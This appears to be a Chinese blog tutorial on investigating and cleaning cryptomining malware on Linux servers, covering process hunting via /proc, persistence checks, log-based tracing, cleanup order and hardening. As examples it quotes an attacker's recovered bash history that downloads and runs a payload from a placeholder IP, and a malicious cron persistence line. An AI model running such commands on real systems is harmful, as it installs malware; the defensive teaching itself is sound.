1. 从现象入手:怎么一眼确认“中招了”
讲个前几天的事。某客户的生产服务器突然卡得像幻灯片一样,管理员登录上去敲个top都要等两秒才有反应。风扇狂转,温度报警,机房里那台服务器跟烤箱似的一直在冒热气。这种场景对搞运维或者安全的人来说太熟悉了——大概率不是业务真的增长到扛不住了,而是有不速之客在机器上“挖矿”赚钱。
挖矿木马这个东西,这几年几乎是中小企业服务器被入侵后最常见的“标配后遗症”。攻击者通过漏洞打进来,落地上马,把 CPU 和 GPU 资源偷去跑加密货币计算,产出直接进自己钱包。对受害者来说,机器变卡、电费上涨、业务响应变慢都是小事,更麻烦的是它往往伴随着其他后门,你清完挖矿程序,后门还在,人家随时能再进来。
这篇文章我把整个排查过程拆成一条可以照着走的路径:先怎么快速判断异常,怎么定位可疑进程,怎么找出隐藏的文件和持久化机制,怎么追入口,最后怎么彻底清理和加固。我尽量把每个操作背后的“为什么”也讲清楚,这样你下次遇到类似情况,不是背命令,而是真的知道自己在干什么。不管你之前有没有处理过安全事件,照着这条线走一遍,至少能应对绝大多数常见的挖矿木马。
先说怎么快速确认异常。最简单粗暴的三板斧:看负载、看进程、看网络连接。
登录服务器后第一步,别急着敲任何命令,先跑top按大写的P让进程按 CPU 使用率排序,看一眼头部。如果是 4 核的机器,正常的load average大概在 1 到 3 之间浮动的,业务高峰期可能更高一点,但如果一个进程 CPU 占用直接飙到 800%、900%,甚至把整台机器 16 核全占满,那就非常可疑了。
这里有个细节很多人会忽略:看到的进程名可能很正常,比如python3、java、nginx,甚至伪造成kworker、systemd这种系统进程名。挖矿木马不是傻乎乎地把进程取名叫xmrig让你一眼看穿的——虽然确实有那种低水平的,但稍微有点脑子的都会做伪装。所以光看进程名不够,关键要看它的启动参数、工作目录、父进程是谁。
和进程排查配套的,是看网络连接。挖矿程序无论如何都要和矿池通信,这是它甩不掉的特征。跑一下:
ss -antp | grep ESTABLISHED或者老一点的系统用:
netstat -antp重点看有没有发起到外网4444、3333、8888、5555之类端口的连接,以及目的 IP 是否属于云厂商的 IP 段。有些矿池域名特征也很明显,比如包含pool、mine、xmr、hash之类的字眼。不过现在不少挖矿程序会用域名前置或者走 443 端口伪装 HTTPS 流量,所以判断的时候别只看端口,要配合进程 PID 一起看:哪个进程发起的连接,它对应的可执行文件在哪,这就定位到了关键目标。
我见过一个比较典型的案例,机器上跑着一个名字叫kdevtmpfsi的进程,CPU 吃掉 600% 多,当时搜了一下这个进程名,网上早就有人报过,是挖矿木马常见的伪装名之一。但如果你没搜到任何记录也别慌,冷门变种多的是,关键永远是“行为判断”——偷偷占用大量计算资源 + 异常外联 + 文件路径不在正常安装目录,这三点凑齐,基本就逃不掉了。
2. 定位可疑进程:从表象挖到内核
确认机器“中招”之后,下一个问题是:这个占用资源的家伙到底藏在哪。这一步做得好不好,决定后续排查是“稳准狠”还是“疲于奔命”。
先说最常用的命令组合。top按P排完序后,记下可疑 PID,然后挨个查看进程详情:
ps -ef | grep <PID> | grep -v grep但这一步有个大坑:在已经失陷的机器上,系统命令本身可能已经被替换或者被挂钩子。比较高级的挖矿木马会通过LD_PRELOAD环境变量植入恶意动态库,劫持readdir、getdents等系统调用,让ps、ls、top根本看不到它的进程和文件。这种情况你怎么查都查不出来,还得换思路。
先检查一下环境变量那里有没有异常:
cat /etc/ld.so.preload env | grep LD_正常系统里/etc/ld.so.preload这个文件一般是空的或者不存在。如果里面有东西,尤其是路径指向/usr/lib下某个看起来没问题但你没见过的.so文件,那大概率是中了用动态库劫持隐藏进程的变种。我处理过一台机器,ps完全看不到异常进程,但top显示的 CPU 占用总和超过 100%,负载高得要命,最后就是靠检查ld.so.preload找到的猫腻。
为了绕开被劫持的命令,推荐两个方案:用busybox静态编译版本,或者直接去看/proc文件系统。
/proc是内核暴露进程信息的虚拟文件系统,里面的信息直接来自内核,任何用户态的 hook 都拦不住。比如我想知道到底有哪些进程在跑,可以这样:
for pid in /proc/[0-9]*; do cmdline=$(cat $pid/cmdline 2>/dev/null | tr '\0' ' ') if [ -n "$cmdline" ]; then echo "PID ${pid##*/}: $cmdline" fi done这条命令会遍历所有进程的 cmdline,即使ps看不到,这里也能抓到。类似的,/proc/PID/exe这个软链接直接指向可执行文件的真实路径,可以拿来确认进程对应的程序到底在哪:
ls -l /proc/<PID>/exe readlink /proc/<PID>/cwd还有一个容易漏的地方是检查线程。有些挖矿木马会在一个看似正常的进程里开多个线程跑挖矿,单看进程数没问题,但 CPU 使用率异常高。top里按H可以切换线程视图,或者用:
ps -eLf | grep <PID>定位可疑进程时,强烈建议把它的父进程也查一下:
ps -ef | awk '$2 == <PID> {print $0}'挖矿进程的父进程往往能暴露出它的来源——是通过 web 服务拿到的 shell 起的子进程,还是被 cron 拉起来的,抑或是某个服务被植入后门后间接启动的。这些线索是判断攻击链的关键。
到这一步,你已经能找出几个可疑的 PID 和对应的路径了。但先别急着kill,因为你还没搞清楚:杀了之后它会不会被守护进程拉起来?文件在哪?启动项在哪?如果你只是 kill 了进程,十分钟后它可能又回来了,而且再检查时会发现文件被重新写成新的随机名,排查难度翻倍。所以,定位到进程之后,下一步是把它的整个“全家桶”揪出来。
3. 顺藤摸瓜:文件、定时任务与持久化排查
挖矿木马想要长期存活,必须有持久化机制。这是它们最脆弱的地方——只要把持久化入口清掉,哪怕进程暂时还在,杀掉之后也不会复活了。我通常按下面这个顺序排查,基本能覆盖 90% 以上的持久化方式。
先看定时任务。老派但极其常用:
crontab -l cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/很多挖矿木马喜欢往/etc/cron.d/里丢一个看起来像系统更新的脚本,比如/etc/cron.d/update,然后每几分钟执行一次下载器和启动器。这种脚本内容一般长这样:
*/5 * * * * root /tmp/.X11-unix/update.sh >/dev/null 2>&1看明白了吗?它的策略就是“进程死了不要紧,定时任务每隔五分钟重新拉起”。而且它会把脚本放到/tmp下的隐藏目录,目录名模拟成系统正常路径的样式,不仔细看根本发现不了。
但注意,光看crontab -l和/etc/crontab是不够的,因为还有很多其他持久化点。系统服务也是重灾区:
systemctl list-unit-files | grep enabled systemctl list-units --type=service --state=running重点看有没有异常的 service 文件,比如/etc/systemd/system/下最近新增的、名字伪装成syslog.service或dbus-org.freedesktop.service的工作单元。查看可疑服务的内容和启动路径:
systemctl cat <service_name>输入systemctl status <service_name>能看到服务是哪个可执行文件拉起来的,路径、参数、守护进程关系一目了然。
还有开机启动项:
cat /etc/rc.local ls -la /root/.bashrc /root/.profile /etc/profile.d//root/.bashrc被写入启动命令是最常见的隐藏技巧之一。你登录 shell 的时候就会触发,等于每次管理员登录都把木马脚本跑一遍。某些变种还会通过写/root/.ssh/authorized_keys植入 SSH 后门,不过这个不是持久化挖矿进程本身,而是保留入侵通道,后面详细说。
排查完启动项,就要回头对付文件了。找文件的核心思路:先拿到一个已知的可疑进程路径,然后从这个路径辐射展开。
方法一,通过/proc/PID/exe拿到真实可执行文件路径后,查看该文件的时间戳、是否被修改过、同目录下还有什么文件:
ls -lai /proc/<PID>/exe ls -la /proc/<PID>/cwd ls -la /proc/<PID>/fdfd目录特别值得看,里面是进程打开的所有文件描述符。如果某个文件被进程以删除状态打开着((deleted)标记),说明木马已经把自己的原始文件删了,只留进程内存里跑着——这种是最难清理的,需要把进程杀了才行,而且杀之前最好先备份一下进程映射的完整路径,方便后续查来源。
方法二,检查木马常用的落地区域。挖矿程序特别偏爱/tmp、/var/tmp、/dev/shm、/var/tmp这几个目录,因为这些目录常常被配置成可写且命令里允许执行。来一次地毯式扫描:
find /tmp /var/tmp /dev/shm -type f -perm /111 -mmin -30 2>/dev/null-mmin -30是看最近 30 分钟内被修改过的文件。挖矿木马刚拉起来的时候文件都是新写入的,时间戳往往集中在你发现异常之前的一小段时间内。这个命令在应急处置时真的很能出活。
方法三,通过文件特征判断。Linux 下的挖矿木马很多是 Go 编译的静态二进制,体积在 5~20MB 左右,用file命令能看到它是 “ELF 64-bit executable, statically linked, Go BuildID”,这跟常规的系统工具差异非常明显。另外命名风格也有特征,比如全随机小写组合、下划线开头、点开头隐藏目录等。看到一个/tmp/.X11-unix/目录下放着几个不知名二进制,基本可以断定有问题。
这里分享一个我踩过坑的经验:有些挖矿木马会设置文件属性为不可删除,你用rm -f删除时会提示Operation not permitted。这是因为对方加了chattr +i属性。对付方法很简单:
chattr -i <filename> chattr -a <filename>再去删除。不解除属性直接砍,你会发现删了个寂寞,文件还在那里,而且在重启之后又会被加载。这个细节非常常见,一定要先解除属性再清理文件。
4. 深度溯源:入口、日志与漏洞分析
把进程、文件、定时任务都清完之后,很多人的做法是“看起来没事了,收工”。但严格来说,这才做了一半。真正的关键问题是:攻击者是从哪进来的?如果不找到入口并且补上漏洞,你清理干净了今晚睡一觉,明天清晨它又回来了。
溯源入口最常依赖的是各类日志。但日志文件很多,我建议按时间线搜,先确定“异常首次出现的时间”。怎么确定?看挖矿进程第一次出现的时间戳、看可疑文件的时间戳、看/var/log/auth.log或/var/log/secure里有没有那段时间的异常登录记录,看 web 访问日志里有没有可疑的 POST 请求、webshell 路径。
如果服务器跑的是 nginx 或者 apache,访问日志很关键:
tail -n 2000 /var/log/nginx/access.log | grep -E "eval|base64|cmd|exec|upload" grep -E "\.(php|jsp|asp)" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20这里能看出有没有人扫描并尝试过常见的漏洞利用路径。比如某内容管理系统后台的任意文件上传漏洞,攻击者上传了一个加密的 php 脚本,然后通过 URL 访问触发执行,整个攻击链在访问日志里其实是留痕的,只是藏在大批量正常请求里需要耐心翻。对于新手来说可能有点无从下手,建议先按时间戳缩小范围,再按 IP 聚合看请求频率和路径特征。
auth.log主要看 SSH 暴力破解:
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20 grep "Accepted" /var/log/secure重点看有没有异常 IP 成功登录过,以及登录时间和你发现挖矿进程的时间是否吻合。很多挖矿木马的入口就是弱密码爆破,管理员开了 SSH 密码登录,口令又弱,被爆破进来后直接落地上马。这种情况你排查入口基本找不到什么“漏洞利用痕迹”,因为入口就是那台暴露在公网的 SSH 服务。
还有一种入口藏在业务里:某个对外暴露的中间件存在未授权访问或远程代码执行漏洞。这种情况需要结合业务本身去看:这台机器上跑了什么服务?版本是多少?有没有已知漏洞?有没有打过补丁?我处理过一个案例,入口是某套件自带的管理后台,默认口令没改,攻击者登录后台后直接利用后台的日志写入功能拼了命令执行,整个过程在业务层面看不出明显的“攻击痕迹”,但排查到最后发现管理后台的审计日志里有异常操作记录。
除了日志,还有一个经常被忽略但特别重要的地方:bash历史记录。
cat /root/.bash_history cat /home/*/.bash_history虽然正经黑客会清掉历史,但很多自动化挖矿脚本根本没这个意识,它执行过的下载命令、解压命令、改权限命令都会留在历史里。通过历史记录你能直接看到攻击者的完整操作链,比如说:
wget http://xxx.xxx.xxx.xxx/mr.tar.gz tar zxvf mr.tar.gz cd mr chmod +x pwn nohup ./pwn &看到没,攻击者干了什么一目了然。这个线索比日志往往更直接。
再补充一个溯源时容易被忽略的地方:进程启动时残留的环境变量、DNS 解析缓存、bash 的/root/.bash_history被清空的情况下,可以尝试恢复文件系统中的残留文件。比如木马下载器本身可能已经被删了,但/tmp下还有.tar.gz残留或者日志里还有下载源 IP,这些都能作为溯源的重要线索。
真正要追攻击入口的思路其实是一个漏斗:先锁定异常流量特征和时间线,再顺着日志一层层缩小范围,最后落到具体的漏洞或者弱口令上。这个过程可能耗时,但在生产环境出事后这半小时是值得花的。
5. 清理与加固:从“杀掉进程”到“让木马无处安身”
排查清楚之后,终于轮到动手清理了。这个阶段最忌讳的是顺序搞反——你先把进程杀了,结果持久化脚本还没删,它立刻拉起一个新进程;你能杀一百次,它能自愈一百次,最后你心态先崩了。
所以我的标准清理顺序是:先断网或隔离,再处理持久化入口,然后清理文件,最后杀进程。
第一步,断外网。物理拔网线或者在云控制台上直接安全组限制所有出网流量都可以。挖矿木马如果联系不上矿池,会进入“待机重试”状态,这时候它的伤害已经可控了。但注意,别直接关机,很多持久化脚本会在开机时自动运行,你关机重启等于帮它做了一次完整启动流程,而且一些只有内存中的线索也会丢失。
第二步,清除持久化入口。把你前面找到的定时任务、系统服务、启动脚本全部删除或禁用。这一步做完,这个木马就等于“断粮”了——它没有自动恢复的能力了。
第三步,清理木马文件。先解除chattr锁,再删除:
chattr -i -a <filename> 2>/dev/null rm -rf /tmp/.X11-unix /tmp/.fsutil 之类找到的目录但删除之前,强烈建议先做一个“证据备份”。把可疑二进制、脚本存档一份到离线目录里,后续做病毒特征分析和溯源都用得上。从业这么多年,我发现很多人清理现场的时候嫌麻烦直接把文件删了,等后续想分析攻击者手法或者做同源比对的时就傻眼了。
第四步,杀掉进程。用kill -9 <PID>处理,但注意有些木马的子进程会互相守护,父子互相拉起,最好一次性把整个进程树杀掉:
pkill -9 -f <特征字符串>比如你确定某个目录下的脚本是木马本体,用pkill -9 -f /tmp/.X11-unix可以把跟这个路径相关的进程全部杀掉,效率比一个个 PID 杀高多了。
清理完之后还差最后一步——验证清理是否成功。验证不是看一眼top就完事,建议至少观察一周。看什么?CPU 负载是否恢复正常,crontab -l里是否又冒出新任务,/tmp下是否又有新的可疑文件落盘。如果条件允许,部署一个简单的文件监控(比如auditd监控/tmp目录的写操作),或者直接装个安全 Agent,让告警替你盯着,比自己手动反复看靠谱得多。
然后是加固,这部分是决定你能不能“睡安稳觉”的关键。针对前面溯源看到的入口,逐项补洞:
SSH 弱密码爆破是最常见的入口,要做的事很明确:关闭密码登录,改用密钥登录;如果必须保留密码登录,安装 fail2ban 做暴力破解防护;root 用户禁止直接 SSH 登录;更换默认端口。这些操作虽然基础,但真的能挡住绝大多数扫描器的自动化攻击。
对外暴露的应用要升级到最新版本,或者至少确认没有已知的远程代码执行漏洞。如果暂时无法升级,也要在网关或 WAF 层面做规则封堵。我见过太多案例是漏洞公开好几周了,生产上一直没重启服务,结果被别人扫描到直接打进来。
最后别忘检查账号层面有没有留后门:
cat /etc/passwd | grep -v nologin ls -la /root/.ssh/ cat /root/.ssh/authorized_keys看有没有异常 UID 的用户,有没有你从没见过的公钥被塞进authorized_keys——这个后门如果不清掉,攻击者随时可以凭密钥登录进来,所有前面的清理等于白做。
6. 几种常见变种与踩坑记录
这些年我处理过的挖矿木马,种类不少,但很多套路是共通的。在这里把几个高频变种和对应的特征列出来,方便大家在做排查的时候心里有数。
第一个是伪装系统进程型。前面提到过,它会把进程名改成kworker、ksoftirqd、systemd这类看起来人畜无害的名字。普通管理员用top看半天看不出异常,以为内核线程在波动。区分方法很简单:内核线程是没有占 CPU 的,而且它们的进程路径都在内核态,不占用用户态 CPU。你top里看到一个叫kworker的进程占了几百 % CPU,这基本可以断定是假的,真kworker不可能这样。
第二个是动态库劫持型。它通过LD_PRELOAD或/etc/ld.so.preload加载一个恶意.so文件,通过 hook 系统调用隐藏自己的文件和进程。特征就是你在/proc里能看到进程,但ps和ls看不到;top显示的 CPU 占用率加总超过 100%。处理方式是先把/etc/ld.so.preload和/etc/ld.so.conf.d/里的恶意配置清掉,去掉环境变量里的LD_PRELOAD,然后杀掉对应进程,再删除恶意.so文件。这里有个顺序问题:必须先清配置再杀进程,否则杀完进程发现.so还在被内核引用,删除时会提示Text file busy,很尴尬。
第三个是多层守护型。这种木马至少有两条持久化通道,比如同时配置了 cron 和 systemd,且互相监控。你杀掉某个进程,另一个守护进程立刻把它拉起。处理办法是把两处持久化配置全部清除后,还要检查有没有第三处。我遇到过一次最夸张的,同一个木马同时存在于/etc/cron.d/、/etc/systemd/system/、/root/.bashrc和/root/.ssh/authorized_keys四个地方。清理的时候要是只看了一处就以为完事了,第二天准复发。
第四个是 rootkit 方向的。这类更加隐蔽,会替换系统核心工具,比如ps、ls、netstat,让这些命令输出假数据。遇到这种情况,别在原系统上依赖这些命令做判断,直接挂载一个干净的 busybox 静态编译版本来做排查。而且越是这种级别,越要保留原始证据,可能需要动用取证工具来分析内存镜像之类。
再补充一个踩坑记录。有一次清理完之后,top显示一切正常,负载也下来了,但我总觉得不放心。后来过了两天,服务器 CPU 又开始飙升,看进程又是之前的木马。我重新排查了一遍,最后发现时/root/.ssh/authorized_keys里有一把攻击者的公钥没删干净——攻击者直接通过密钥登进来,重新把木马脚本从远程拉起来。这个教训非常深刻:挖矿木马本身只是“症状”,后门才是“病根”,清症状不清病根,复发是早晚的事。
还有一个常见坑是 Docker 环境里的挖矿木马。现在很多服务器上用容器跑业务,攻击者一旦拿到宿主机权限或某个容器的读写权限,可能在容器里跑挖矿进程,然后在宿主机上用top看也正常,因为进程在容器内部,PID 命名空间隔离了。检查方式是用docker ps看有没有异常容器在跑,以及在宿主机上用top看总的 CPU 使用量是不是仍然异常。我处理过的最小案例就是某个容器里被丢了一个挖矿程序,宿主机上所有常规排查手段全失灵,最后是用ps aux | grep -v grep配合容器内 shell 进去看才发现的。
7. 排查工具与现场记录建议
一次挖矿木马排查,靠谱的工具能让效率成倍提升。除了系统自带的命令,我平时手头会常备几个小工具和脚本,关键时刻很管用:
BusyBox静态编译版,我用它来绕开被劫持的系统命令。不用 install,直接拷到/tmp下chmod +x就能用,里面的ps、ls、cat、netstat都是静态编译的,不依赖目标系统的动态库,也不吃LD_PRELOAD之类的环境变量配置。
lsof和ss有时候系统没装,但它们是排查网络连接和进程打开文件的好帮手:
lsof -p <PID> ss -antp | grep <IP>另外建议养成一个习惯:排查过程中的原始输出都打上时间戳留存一份。比如:
top -bn1 > top_$(date +%Y%m%d_%H%M%S).log ps -ef > ps_$(date +%Y%m%d_%H%M%S).log ss -antp > net_$(date +%Y%m%d_%H%M%S).log不要嫌麻烦,这些记录回去慢慢分析的时候都是宝贵的原始数据。尤其是当你需要给同事或者客户汇报这次事件处置过程时,有时间戳的现场快照远比口头描述有说服力得多。
还有一点:如果条件允许,给可疑二进制做一次哈希记录。方法很简单:
md5sum <可疑文件> sha256sum <可疑文件>把这个哈希值记下来,放到病毒分析平台上比对一下,能直接看出这到底是什么变种、属于哪个家族、有没有公开的分析报告。作为应急响应人员,这个习惯真的能帮你节省大量分析时间。
现场记录里面还要包含整个处置的时间线:发现异常的时间,首次拿到快照的时间,定位到进程的时间,清理完成的时间。时间线对溯源分析很关键,因为攻击者的操作时段往往也是有规律的,你如果能把攻击者从入侵到挖矿的时间线还原出来,对后续防护策略的调整非常有参考价值。
8. 最后再聊几个掏心窝的体会
断断续续处理了这么多挖矿木马案例,我自己总结下来,最有价值的经验其实不是某个命令或者某个技巧,而是几个思维层面的东西。
第一个,心态上要稳。服务器被入侵这件事,谁摊上都会慌,但越慌越容易动作变形。最典型的表现是,一看到可疑进程就急着kill -9,结果把持久化入口漏了,第二天又复发,然后对着已经变过的文件名重新排查,事倍功半。我的建议是:哪怕进程在疯狂占 CPU,你也要先花十分钟把所有持久化入口摸清楚,再动手杀。顺序一定不能反。
第二个,视角上要“先假设它已经藏得很深”。好多管理员排查挖矿木马的时候,习惯用系统自带命令看一眼,发现没有异常进程就收工了,结果问题依然存在。我不是说要杯弓蛇影,但既然已经确定机器有问题,就要假设对方可能用了隐藏手段。直接用/proc方式遍历进程,用静态编译的工具做交叉验证,绕过用户态 hook 去确认,这样才不会漏。
第三个,也是最重要的——安全工作永远要做在前面。真等服务器被挖矿木马入侵了再排查,再怎么熟练也是被动接招,服务器的性能已经损失了,数据可能已经泄露了。真正高效的做法是:关掉不需要的对外端口,密码登录改为密钥登录,给所有对外应用打补丁,定期做漏洞扫描,装好安全监控。这些事情花的时间,比你事后熬夜排查少太多了。我见过太多老板,安全预算不舍得花、安全基线不落实,等服务器被人挖矿了才连夜找人处理,处理完之后还是不留心加固,过俩月又中一次,这种恶性循环才是真正的成本黑洞。
如果你现在手头正好有一台疑似被挖矿的服务器,可以按我上面说的路径走一遍:先看现象,再定位进程,查文件查持久化,溯源入口,按顺序清理,最后做加固和观察。这条线走通,不敢说你能处理所有安全事件,但至少应对主流的挖矿木马是够用的。我第一次接到这类处置任务的时候也手忙脚乱过,多处理几台之后就会发现,大部分挖矿木马的手法并没有想象中那么高级,真正麻烦的是那些不懂清理顺序、一遍遍踩反复坑的操作。希望这篇记录能帮你在遇到状况的时候少走一些弯路,处置得干净利落一点。